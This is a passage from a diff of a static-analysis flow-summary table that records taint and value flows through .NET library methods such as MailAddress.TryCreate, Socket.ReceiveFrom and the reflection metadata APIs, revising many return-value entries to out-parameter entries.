System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.String);Argument[1];Argument[this];taint;manual | | System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.Uri);Argument[0];Argument[this];taint;manual | | System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.Uri);Argument[1];Argument[this];taint;manual | -| System.Net.Http;HttpRequestMessage;ToString;();Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._method];ReturnValue;taint;dfc-generated | -| System.Net.Http;HttpRequestMessage;ToString;();Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._requestUri];ReturnValue;taint;dfc-generated | +| System.Net.Http;HttpRequestMessage;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Net.Http;HttpRequestMessage;get_Properties;();Argument[this].Property[System.Net.Http.HttpRequestMessage.Options];ReturnValue;value;dfc-generated | | System.Net.Http;HttpRequestOptions;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Net.Http;HttpRequestOptions;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | @@ -11401,17 +11332,17 @@ | System.Net.Mail;MailAddress;MailAddress;(System.String,System.String,System.Text.Encoding);Argument[0];Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | | System.Net.Mail;MailAddress;MailAddress;(System.String,System.String,System.Text.Encoding);Argument[1];Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | | System.Net.Mail;MailAddress;ToString;();Argument[this];ReturnValue;taint;df-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[1];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[1];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[1];Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[1];Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | | System.Net.Mail;MailAddress;get_Address;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._host];ReturnValue;taint;dfc-generated | | System.Net.Mail;MailAddress;get_Address;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName];ReturnValue;taint;dfc-generated | | System.Net.Mail;MailAddress;get_DisplayName;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName];ReturnValue;value;dfc-generated | @@ -11600,13 +11531,7 @@ | System.Net.Sockets;Socket;BeginReceive;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;dfc-generated | | System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;dfc-generated | | System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | @@ -11622,18 +11547,16 @@ | System.Net.Sockets;Socket;ConnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[0];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ConnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;DisconnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;EndReceiveFrom;(System.IAsyncResult,System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;EndReceiveMessageFrom;(System.IAsyncResult,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];ReturnValue;value;dfc-generated | | System.Net.Sockets;Socket;ReceiveAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[3];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];ReturnValue;value;dfc-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[4];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[3];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.EndPoint);Argument[1];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.EndPoint);Argument[1];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ReceiveFromAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];ReturnValue;value;dfc-generated | +| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[4];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ReceiveMessageFromAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;SendAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;SendPacketsAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | @@ -11929,7 +11852,7 @@ | System.Net;WriteStreamClosedEventHandler;BeginInvoke;(System.Object,System.Net.WriteStreamClosedEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Numerics;BigInteger;Abs;(System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue.Field[System.ValueTuple`2.Item2];value;dfc-generated | -| System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | +| System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];Argument[2];value;dfc-generated | | System.Numerics;BigInteger;MaxMagnitude;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;MaxMagnitude;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[1];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;MaxMagnitudeNumber;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | @@ -11977,7 +11900,6 @@ | System.Numerics;Vector;Round;(System.Numerics.Vector,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Round;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Round;(System.Numerics.Vector,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| System.Numerics;Vector;StoreUnsafe;(System.Numerics.Vector,T);Argument[1];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Truncate;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Truncate;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;WithElement;(System.Numerics.Vector,System.Int32,T);Argument[0];ReturnValue;value;dfc-generated | @@ -12090,6 +12012,7 @@ | System.Reflection.Emit;ParameterBuilder;get_Name;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;DefineDynamicModuleCore;(System.String);Argument[0];ReturnValue.SyntheticField[System.Reflection.Emit.ModuleBuilderImpl._name];value;dfc-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder);Argument[this];ReturnValue;taint;df-generated | +| System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder);Argument[this];Argument[2];taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;GenerateMetadata;(System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.BlobBuilder,System.Reflection.Metadata.Ecma335.MetadataBuilder);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Emit;PersistedAssemblyBuilder;PersistedAssemblyBuilder;(System.Reflection.AssemblyName,System.Reflection.Assembly,System.Collections.Generic.IEnumerable);Argument[1];Argument[this];taint;df-generated | | System.Reflection.Emit;PropertyBuilder;AddOtherMethodCore;(System.Reflection.Emit.MethodBuilder);Argument[0];Argument[this];taint;df-generated | @@ -12207,11 +12130,8 @@ | System.Reflection.Metadata.Ecma335;PortablePdbBuilder;Serialize;(System.Reflection.Metadata.BlobBuilder);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata.Ecma335;ReturnTypeEncoder;ReturnTypeEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.ReturnTypeEncoder.Builder];value;dfc-generated | | System.Reflection.Metadata.Ecma335;ScalarEncoder;ScalarEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.ScalarEncoder.Builder];value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeFieldSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeLocalSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeMethodSpecificationSignature;(System.Reflection.Metadata.BlobReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeType;(System.Reflection.Metadata.BlobReader,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeFieldSignature;(System.Reflection.Metadata.BlobReader);Argument[this];ReturnValue;taint;df-generated | +| System.Reflection.Metadata.Ecma335;SignatureDecoder;DecodeType;(System.Reflection.Metadata.BlobReader,System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[0];Argument[this];taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[1];Argument[this];taint;df-generated | | System.Reflection.Metadata.Ecma335;SignatureDecoder;SignatureDecoder;(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext);Argument[2];Argument[this];taint;df-generated | @@ -12221,7 +12141,7 @@ | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[this];Argument[0].Parameter[0];value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Action,System.Action);Argument[this];Argument[0].Parameter[0];value;hq-generated | -| System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder);Argument[this];ReturnValue;value;dfc-generated | +| System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Array;(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder);Argument[this];Argument[0];value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;Pointer;();Argument[this];ReturnValue;value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;SZArray;();Argument[this];ReturnValue;value;dfc-generated | | System.Reflection.Metadata.Ecma335;SignatureTypeEncoder;SignatureTypeEncoder;(System.Reflection.Metadata.BlobBuilder);Argument[0];Argument[this].Property[System.Reflection.Metadata.Ecma335.SignatureTypeEncoder.Builder];value;dfc-generated | @@ -12250,7 +12170,6 @@ | System.Reflection.Metadata;BlobBuilder;LinkSuffix;(System.Reflection.Metadata.BlobBuilder);Argument[this];Argument[0];taint;df-generated | | System.Reflection.Metadata;BlobBuilder;ReserveBytes;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Reflection.Metadata;BlobBuilder;TryWriteBytes;(System.IO.Stream,System.Int32);Argument[0];Argument[this];taint;df-generated | -| System.Reflection.Metadata;BlobBuilder;WriteContentTo;(System.Reflection.Metadata.BlobWriter);Argument[0];ReturnValue;value;dfc-generated | | System.Reflection.Metadata;BlobContentId;BlobContentId;(System.Guid,System.UInt32);Argument[0];Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid];value;dfc-generated | | System.Reflection.Metadata;BlobContentId;get_Guid;();Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid];ReturnValue;value;dfc-generated | | System.Reflection.Metadata;BlobReader;ReadConstant;(System.Reflection.Metadata.ConstantTypeCode);Argument[this];ReturnValue;taint;df-generated | @@ -12502,8 +12421,8 @@ | System.Reflection.PortableExecutable;PEReader;PEReader;(System.IO.Stream,System.Reflection.PortableExecutable.PEStreamOptions,System.Int32);Argument[0];Argument[this];taint;df-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[1].Parameter[0];taint;dfc-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[1].Parameter[0];taint;hq-generated | -| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];ReturnValue;taint;dfc-generated | -| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];ReturnValue;taint;hq-generated | +| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[3];taint;dfc-generated | +| System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[0];Argument[3];taint;hq-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Reflection.PortableExecutable;PEReader;TryOpenAssociatedPortablePdb;(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Reflection.PortableExecutable;PEReader;get_PEHeaders;();Argument[this];ReturnValue;taint;df-generated | @@ -12541,11 +12460,7 @@ | System.Reflection;AssemblyName;get_EscapedCodeBase;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;Binder;BindToField;(System.Reflection.BindingFlags,System.Reflection.FieldInfo[],System.Object,System.Globalization.CultureInfo);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[1].Element;ReturnValue;value;dfc-generated | -| System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[2].Element;ReturnValue.Element;value;dfc-generated | -| System.Reflection;Binder;BindToMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object);Argument[2];ReturnValue;value;dfc-generated | | System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0].Element.Element;Argument[0].Element;value;dfc-generated | -| System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0].Element.Element;ReturnValue.Element;value;dfc-generated | -| System.Reflection;Binder;ReorderArgumentArray;(System.Object[],System.Object);Argument[0];ReturnValue;value;dfc-generated | | System.Reflection;Binder;SelectMethod;(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Type[],System.Reflection.ParameterModifier[]);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;Binder;SelectProperty;(System.Reflection.BindingFlags,System.Reflection.PropertyInfo[],System.Type,System.Type[],System.Reflection.ParameterModifier[]);Argument[1].Element;ReturnValue;value;dfc-generated | | System.Reflection;ConstructorInvoker;Invoke;();Argument[this];ReturnValue;taint;df-generated | @@ -12733,7 +12648,7 @@ | System.Resources;ResourceManager;GetString;(System.String,System.Globalization.CultureInfo);Argument[1];Argument[this];taint;df-generated | | System.Resources;ResourceManager;ResourceManager;(System.String,System.Reflection.Assembly);Argument[1];Argument[this].Field[System.Resources.ResourceManager.MainAssembly];value;dfc-generated | | System.Resources;ResourceManager;ResourceManager;(System.String,System.Reflection.Assembly,System.Type);Argument[1];Argument[this].Field[System.Resources.ResourceManager.MainAssembly];value;dfc-generated | -| System.Resources;ResourceReader;GetResourceData;(System.String,System.String,System.Byte[]);Argument[this];ReturnValue;taint;df-generated | +| System.Resources;ResourceReader;GetResourceData;(System.String,System.String,System.Byte[]);Argument[this];Argument[1];taint;df-generated | | System.Resources;ResourceReader;ResourceReader;(System.IO.Stream);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceSet;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | | System.Resources;ResourceSet;GetObject;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -12742,41 +12657,21 @@ | System.Resources;ResourceWriter;ResourceWriter;(System.IO.Stream);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceWriter;ResourceWriter;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Resources;ResourceWriter;set_TypeNameConverter;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;MoveNext;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];ReturnValue;value;dfc-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;Start;(TStateMachine);Argument[0];ReturnValue;value;dfc-generated | +| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncIteratorMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | +| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitUnsafeOnCompleted;(TAwaiter,TStateMachine);Argument[1];Argument[this];taint;df-generated | | System.Runtime.CompilerServices;AsyncTaskMethodBuilder;get_Task;();Argument[this];ReturnValue;taint;df-generated | -| System.Runtime.CompilerServices;AsyncTaskMethodBuilder;AwaitOnCompleted;(TAwaiter,TStateMachine);Argument[0];ReturnValue;value;dfc-generated | -| 